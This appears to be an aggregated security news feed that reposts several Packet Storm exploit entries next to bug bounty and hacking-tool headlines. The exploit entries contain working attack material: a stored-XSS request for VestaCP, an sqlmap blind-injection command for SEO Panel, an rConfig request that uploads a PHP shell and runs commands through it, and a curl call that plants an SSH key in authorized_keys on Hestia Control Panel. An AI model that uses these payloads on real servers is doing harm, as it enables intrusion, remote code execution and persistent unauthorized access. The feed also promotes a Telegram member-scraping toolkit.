An Interesting Account Takeover!

IDOR and Weak encryption leads to Account TakeoverContinue reading on Medium »
Read more...

Exploit Collector
VestaCP 0.9.8 Cross Site Scripting

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
VestaCP version 0.9.8 suffers from a persistent cross site scripting vulnerability. Original discovery of persistent cross site scripting was discovered in this version in February of 2016 by Necmettin COSKUN.

MD5 | cab58700522938c23e6459b259e06362

Download
# Title: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://vestacp.com
# Software Link: https://myvestacp.com < 0.9.8-26-43
# Software Link: https://vestacp.com < 0.9.8-26
# Tested on: VestaCP

POST /add/ip/ HTTP/1.1
Host: TARGET:8083
Connection: close
Content-Length: 165
Cache-Control: max-age=0
Origin: https://TARGET:8083
Content-Type: application/x-www-form-urlencoded
User-Agent: USER-AGENT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://TARGET:8083/add/ip/
Accept-Encoding: gzip, deflate
Accept-Language: en,tr-TR;
Cookie: PHPSESSID=udiudv2k0707d6k3p3fi1n1qk0
sec-gpc: 1

token=04331c937aeb2d203889b3fb86fa75b2&ok=Add&v_ip=90.7.3.1&v_netmask=255.0.0.0&v_interface=&v_shared=on&v_owner=admin&v_name=&v_nat=&ok=Add

Source:packetstormsecurity.com

Exploit Collector
SEO Panel 4.8.0 SQL Injection

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
SEO Panel version 4.8.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 344494c053a1a99889952df5b5c8c6af

Download
# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection
# Date: 17/02/2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: 4.8.0
# Reference - https://github.com/seopanel/Seo-Panel/issues/209

Step 1 - Login to the SEO Panel with admin credentials.
Step 2 - Go to archive.php
Step 3 - Change "order_col" value to "*" and copy the request
Command: sqlmap -r request.txt --batch --level 5 --risk 3 --dbms MYSQL
--dbs --technique=T --flush-session


Source:packetstormsecurity.com

Exploit Collector
rConfig 3.9.6 Shell Upload

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
rConfig version 3.9.6 suffers from a remote shell upload vulnerability.

MD5 | 7068626a36bde3c6ba897ce4012fc020

Download
# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)
# Date: 2021-03-17
# Exploit Author: Murat ŞEKER
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Repeat

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
Content-Length: 36619
Origin: https://localhost
Connection: close
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorName"

thisisrce
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
Content-Type: image/png

<?php
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="add"

add
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="editid"
-----------------------------122590832918963661283831488254--
- Than go to http(s)://<server/images/vendor/file.php

Note: The file.php can be accessed without valid credentials.
If you change the <?phpto <?php

and navigate the http(s)://<server/images/vendor/file.php?cmd=id

The `id` command will execute on server.

Source:packetstormsecurity.com

Exploit Collector
VFS For Git 1.0.21014.1 Unquoted Service Path

https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
VFS for Git version 1.0.21014.1 suffers from an unquoted service path vulnerability.

MD5 | c1667b9a770dd327095d48bde84eef83

Download
# Exploit Title: VFS for Git 1.0.21014.1 - 'GVFS.Service' Unquoted Service Path
# Date: 2021-2-6
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: https://vfsforgit.org/
# Software Link: https://github.com/microsoft/VFSForGit/releases/download/v1.0.21014.1/SetupGVFS.1.0.21014.1.exe
# Version: 1.0.21014.1
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763
# Service info:
C:\Users\m507>sc qc GVFS.Service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GVFS.Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\GVFS\GVFS.Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : GVFS.Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\m507>
# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.


Source:packetstormsecurity.com

Exploit Collector
Hestia Control Panel 1.3.2 Arbitrary File Write

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png
Hestia Control Panel version 1.3.2 suffers from an arbitrary file write vulnerability.

MD5 | f39e0a2b0a6cff12053b8b767649af0a

Download
# Title: Hestia Control Panel 1.3.2 - Arbitrary File Write
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://hestiacp.com/
# Software Link: https://github.com/hestiacp/hestiacp
# Version: < 1.3.3
# Tested on: HestiaCP Version 1.3.2

curl --location --request POST 'https://TARGET:8083/api/index.php' \
--form 'hash="HERE_API_KEY"' \
--form 'returncode="yes"' \
--form 'cmd="v-make-tmp-file"' \
--form 'arg1="ssh-rsa HERE_KEY"' \
--form 'arg2="/home/admin/.ssh/authorized_keys"' \
--form 'arg3=""' \
--form 'arg4=""' \
--form 'arg5=""'


Source:packetstormsecurity.com

Exploit Collector
Adobe Reader CoolType Arbitrary Stack Manipulation

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Adobe Reader suffers from a CoolType arbitrary stack manipulation vulnerability.

MD5 | 07bd21c6148b74a3ebd51754bc5c4290

Download
Source:packetstormsecurity.com

Bug Bounty on Medium
CVE-2021–26216

# Exploit Title: SeedDMS 5.1.x is affected by cross-site request forgery (CSRF) in out.EditFolder.php
# Date: 15/03/21
# Exploit Author…

Continue reading on Medium »

Hacker News
Reverse Engineering a Docker Image

submitted by /u/qznc_bot2
[link] [comments]

Kali Linux Tutorials
Confused : Tool To Check For Dependency Confusion Vulnerabilities

Confused is a tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python (pypi) requirements.txt, JavaScript (npm) package.json, PHP (composer) composer.json or MVN (maven) pom.xml. What is this all about? On 9th of February 2021, a security researcher Alex Birsan published an article that touched different resolve order […]

The post Confused : Tool To Check For Dependency Confusion Vulnerabilities appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Genisys : Powerful Telegram Members Scraping and Adding Toolkit

Genisys is a Powerful Telegram Members Scraping and Adding Toolkit. Features ADDS IN BULK[by user id, not by username] Scrapes and adds to public groups Works in Windows systems You can run unlimited accounts at the same time in order to add members CSV files auto-distributer based on number of accounts to use Powerful scraping […]

The post Genisys : Powerful Telegram Members Scraping and Adding Toolkit appeared first on Kali Linux Tutorials.

How I hacked Facebook: Part Two
https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19?source=rss------bug_bounty-5

Description: This is the second and final part of How I hacked Facebook you can find part one here [ How I hacked Facebook: part one ].Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19?source=rss------bug_bounty-5)

xDai STAKE Hosts $2,000,000 Bug Bounty on Immunefi
https://medium.com/immunefi/xdai-stake-hosts-2-000-000-bug-bounty-on-immunefi-3760e0687616?source=rss------bug_bounty-5

Stable payments blockchain xDai STAKE is hosting a $2,000,000 smart contract bug bounty on Immunefi for its OmniBridge project, making it…Continue reading on Immunefi » (https://medium.com/immunefi/xdai-stake-hosts-2-000-000-bug-bounty-on-immunefi-3760e0687616?source=rss------bug_bounty-5)